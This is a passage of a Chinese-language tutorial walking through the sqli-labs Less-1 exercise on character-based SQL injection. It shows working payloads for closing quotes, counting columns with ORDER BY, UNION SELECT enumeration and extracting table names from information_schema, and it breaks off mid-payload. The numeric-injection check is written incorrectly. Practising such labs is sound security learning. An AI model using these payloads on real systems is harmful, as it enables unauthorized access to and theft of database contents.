tips:可以打开每一关的源码,在该位置添加一句代码方便做题时分析,echo "sql里面执行的是".$sql."<br>";
less-1 基于字符型的注入
一、判断注入类型
题目提示输入id作为参数并伴随着赋一个数值给id,那我们就根据提示在地址栏url末尾加上
?id=10
返回的是一对用户名和密码
id=10'
返回的是一个报错,大意是sql语句中有一个错误在数值10附近
id=10' --+
返回的仍然是一对用户名和密码
服务器中完整的sql语句是select * from users where id=' '
,这个id值由用户输入,输入后直接被放在了sql语句中执行,所以当我们多加一个单引号时,执行的sql语句是select * from users where id='10 ''
,这就产生错误了,正确的sql语句是将id数值包裹在一对无需用户输入的单引号中,由于用户输入了一个单引号,就导致有一个多余的双引号(sql中原有的那对单引号中后面那一个单引号),这个错误呢就可以巧妙利用注释符来告诉数据库“执行到这就好了,后面的你别管了”,小弟一听乖巧地执行了,没有理会后面多余的单引号,把它作为了注释忽略掉了。
在这里我们就满足了两个注入条件,客户端输入的内容直接拼接在sql执行语句中,且客户端可以终止sql执行的字符串到哪为止(这也是我们常说的闭合单引号)
数字型注入的判断:(这种方法只能判断数字型注入,不符合的话就是别的类型注入了)
?id' and 1=1
可正确返回用户名和密码
?id' and 1=1
不能返回用户名和密码
字符型注入的判断:
加单引号’、双引号"、单括号)、双括号))等看看是否报错
接下来就是如何利用的问题了!!!!!!
二、判断字段数
用order by猜解字段,即判断这张表一共有几个字段
?id=10' order by 4 --+
回显报错
?id=10' order by 3 --+
回显正常
查询验证一下,users表中确实只有三个字段:
三、判断可显字段
用union联合select查询在页面中回显的是第几个字段,即判断可显字段
?id=-10' union select 1,2,3 --+
这里注意id要等于一个错误的值,不然回显的就是数据库中有的用户名和密码;让前面出错,就会回显union后面的内容,最好的方法是用逻辑运算符and使union前面为错,比如?id=1 and 1=2
。
可以看到可显字段是第2个和第3个字段,所以我们可以利用一些函数回显出我们想要的信息。
四、获取数据库名
比如用database()
函数获得当前数据库名,version()
函数获得当前数据库版本
五、获取表名
?id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema='security'--+
六、获取列名/字段名
?id=-1' union select 1,group_concat(column_name),version() from information_schema.columns where table_schema='security' and table_name=&#